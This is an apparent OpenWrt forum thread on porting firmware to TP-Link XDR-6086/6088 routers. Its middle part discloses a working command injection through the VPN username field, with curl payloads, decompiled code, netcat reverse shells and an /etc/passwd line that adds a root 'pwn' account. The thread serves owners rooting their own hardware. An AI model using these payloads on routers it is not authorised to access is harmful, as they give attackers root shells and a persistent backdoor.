Adding support for TP-Link XDR-6086

This is always an option but is not very friendly for the average user. There is a buffer overflow in TP-Link's goash u-boot application. I haven't had time to see if we can actually exploit it, but it may be what we need.

TP-Link basically told me to f-off when I asked for source code so they can forget about responsible disclosure for this one.

3 Likes

TP-Link XDR-6088 is almost identical to TP-Link XDR-6086, but it has more ethernet ports.

There are two FWs on TP-LINK website for XDR-6088, is that help?

binwalk -B TL-XDR6088_20220610_1.0.15.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
512           0x200           LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 663072 bytes
393728        0x60200         Flattened device tree, size: 4363000 bytes, version: 17
393960        0x602E8         LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 13113352 bytes
4734236       0x483D1C        Flattened device tree, size: 21160 bytes, version: 17
7209472       0x6E0200        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9154758 bytes, 1498 inodes, blocksize: 262144 bytes, created: 2022-04-21 09:42:38
binwalk -B TL-XDR6088_V1.0_1.0.22_Build_220720_Rel.43784.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
512           0x200           LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 663072 bytes
393728        0x60200         Flattened device tree, size: 4469508 bytes, version: 17
393960        0x602E8         LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 13387784 bytes
4840744       0x49DD28        Flattened device tree, size: 21160 bytes, version: 17
7209472       0x6E0200        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 35016149 bytes, 2007 inodes, blocksize: 262144 bytes, created: 2022-07-04 07:05:56

The download link is here:

I have the whole firmware dumped from the device but thank you. Really just need to figure out this overflow to see if it can be used to get a shell/console. I think it's going to take setting up a qemu environment with a debugger to get it.

I just fund a shell injection in DMS, it can get root access to the system, is this usefull?

here is the kernel log

2 Likes

Can you elaborate on what you did?

In the router's web interface
Go the VPN Server List
Add a L2TP Server
Then go to the Server User Manager
Add a new User
Using the user name to inject shell code.
Post data to change the user name like:
post

http://192.168.1.1/stok=<your token>/ds

body

{"vpn":{"user_1":{"username":";ls /etc/|nc 192.168.8.1 33&","password":"aaaa1111","type":"l2tp","netmode":"client2lan","localip":"192.168.10.11","dns":"223.5.5.5","block":"0","ippool":"d1","maxsessions":"10"}},"method":"set"}

Then click disable in the web interface to trigger the shell code.

The code behind this

snprintf(
      v20,
      0x200uLL,
      ". /lib/vpn/user.sh; block_user %s %s %s &",
      (const char *)&v19[11] + 2,
      v16,
      off_99D8A8[v19[65]]);
    strncpy(v13, "vpnUserVerify", 0x1FuLL);
    logOutput(v13, 0x479u, 0xBu, 1u, "VPN: command: %s\n", v20);
    if ( (unsigned int)dbgPrintfMaskCheck(11LL) && (unsigned __int8)dbgPrintfLvlGet() <= 1u )
      printf("\t%s(%d). command: %s\n\n", "vpnUserVerify", 1145LL, v20);
    systemAsyncExec((__int64)v20);
 if ( vfork()
      || (v10[0] = (__int64)"sh",
          v10[1] = (__int64)"-c",
          v10[2] = a1,
          v10[3] = 0LL,
          !(unsigned int)execve((__int64)"/bin/sh", (__int64)v10, (__int64)&v9)) )
    {
      v6 = 0;
    }
    else
6 Likes

I think I'm missing part of this, so the steps are:

  1. Create L2TP Server
  2. Add a new user
  3. Get stok (proxy like burpsuite can get this)
  4. Use an HTTP POST to update the existing user we created?

I've been trying
curl -H "Content-Type: application/json" -X POST -d {"vpn":{"user_1":{"username":";ls /etc/|nc 192.168.1.100 33&","password":"aaaa1111","type":"l2tp","netmode":"client2lan","localip":"192.168.10.11","dns":"223.5.5.5","block":"0","ippool":"d1","maxsessions":"10"}},"method":"set"} http://192.168.1.1/stok=<stok>/ds

which results in {"error_code":-40210}

In browser press F12 you can find your stok.
You can using Firefox, it can edit and resend request.
Make sure all the infos are match your own, like "ippool"
The result should be {"error_code":0}

1 Like

I am able to reproduce!

FWIW I used the following:

curl -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","para":{"username":";ls /etc|nc <my pc IP> 33&","password":"password1","type":"l2tp","netmode":"client2lan","localip":"192.168.2.1","dns":"1.1.1.1","block":"0","ippool":"new","maxsessions":"1"},"name":"user_1"},"method":"add"}' http://192.168.1.1/stok=<stok>/ds

Then disable the user from the GUI.

Fantastic find!!! This may work.

2 Likes

@JamesLucas have you been able to work this into a fully interactive shell yet? The stock OS is quite lame, no wget, curl, telnet or ssh; just netcat. I'm trying to work a way to use it to get a shell but it seems to not be processing my commands correctly.

e.g. rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f

Yes, I installed Dropbear in it.
The nc commnd in the stock OS has very limited functions.
Actully you can install any software using the opkg command.
Just download ipk file from https://downloads.openwrt.org/releases/21.02.1/packages/aarch64_cortex-a53/ to a usb stick then opkg install xx.ipk.
The simplest way is instal netcat(not the busybox one), it has a -e option, then change the use name to <$(netcat -e /bin/sh 192.168.8.1 33 )>, you will have a decent interactive shell.

1 Like

The old usb stick trick, that worked!

So if mtd, dd or cat can work then we can replace the stock bl2 and atf! :grin:

Stock partition tables (mtd9 is just the whole flash chip):

dev:    size   erasesize  name
mtd0: 000a0000 00020000 "factory_boot"
mtd1: 00020000 00020000 "factory_info"
mtd2: 00020000 00020000 "art"
mtd3: 00200000 00020000 "config"
mtd4: 00040000 00020000 "normal_boot"
mtd5: 00680000 00020000 "kernel"
mtd6: 03800000 00020000 "rootfs"
mtd7: 01600000 00020000 "rootfs_data"
mtd8: 054a0000 00020000 "firmware"
mtd9: 08000000 00020000 "spi0.1

Here's mtd9 and mtd0-8 in their respective parts: https://file.io/CEcmQtXWZeD3

Recall that u-boot is xz compressed.

echo "pwn:\$1\$94c5X1VH\$sp8obEPyRtU9Hi17q6Ckc/:0:0:pwn:/root:/bin/ash" >> /etc/passwd This will put user pwn with password pwn. Now on uart, log in with these credentials and it will put you in a "protected shell", psh.

So yeah, I think a bootloader replacement would be necessary at this point without exploiting the overflow in the goash application. I know @Daniel has experience doing this with the RT3200/E8450. I haven't got any so maybe he can chip in.

mtd0 is the FIP image, containing ATF bootloaders, u-boot and the u-boot env as xz-compressed data. XZ compressed data has a header 37 7A 58 5A and a footer 59 5A so you should be able to pull out the compressed parts and extract them.

The goash application in psh is protected with a 128 character base64-encoded key. I think it might be derived from the current time since epoch in hours, perhaps a password that changes hourly? but I don't have time to reverse engineer that algorithm right now. As far as the overflow bug I found, I have even less time to go down that avenue.

IMO, replacing the bootloader now is probably the best bet since @JamesLucas found out how to root it. I'd be willing to sacrifice my board if someone can come up with a solution to do that "safely". I have a full SPI NAND backup and a programmer so worst case I should be able to flash it back.

Building TF-A and U-Boot from source is quite easy. All you need to know is if the board is using DDR4 or DDR3 RAM and choose TF-A build in OpenWrt accordingly.
To start creating U-Boot you should clone the build for BananaPi R3 board, then remove all other boot options and keep only SPI-NAND.
I'll happily assist with this in any possible way, can be real-time session in tmux/screen or screensharing on Jitsi or something. We will build the bootchain and then we write to flash and see how far it gets. And having either JTAG or direct access to SPI-NAND will allow us to have many tries, if needed.

3 Likes

This would be great! The boards are using DDR3. Would we need to relocate any calibration data?

If we keep the position of the calibration data in flash in the same position we can avoid having to relocate it.
The factory_boot partition is large enough to hold TF-A bl2, and that will then read FIP with TF-A bl31 and U-Boot at offset 0x380000.
So we basically only overwrite factory_boot and keep everything up to and including normal_boot untouched, and that includes the calibration data located at offset 0x160000. Then we write FIP image to offset 0x380000 and have everything above 0x580000 as UBI.

In short: We can use NAND flash layout identical to BPi-R3 and just have art partition at 0x160000.

With a significant amount of work from @Daniel (it was 99% him, I can't take credit), we were able to replace the bootloader using @JamesLucas's root exploit and get this device booting OpenWrt!

Some more work needs to be done to fix up the device tree and get everything working and there will likely be some problems to work around regarding the RTL8812 chip as discussed here: MTK830 + RTL8221B-VB-CG 2.5G question - #17 by Amadeus, but overall I'd say it was a successful night.

Cheers!

5 Likes

Hi, thank you for sharing this. In fact, the router in the link above is XDR6088 (should be similar to XDR6086). I used the CH341A programmer to flash the router and successfully replaced it with the mainline uboot. Although it was a bit difficult, I spent some time to analyze the programmer firmware and got the location of several key partitions. Since we can get root permissions, it is much easier to bring official OpenWrt support now. I'm sorry I have been busy exams recently. After that, I will try to borrow an XDR6086 router to rewrite the partition and uboot. You can try to start initramfs with the following code, it should work normally (including mt76) except 2.5g port: https://github.com/aiamadeus/openwrt/commit/d37c05b07e874dd214eec55ba9deb571641781cc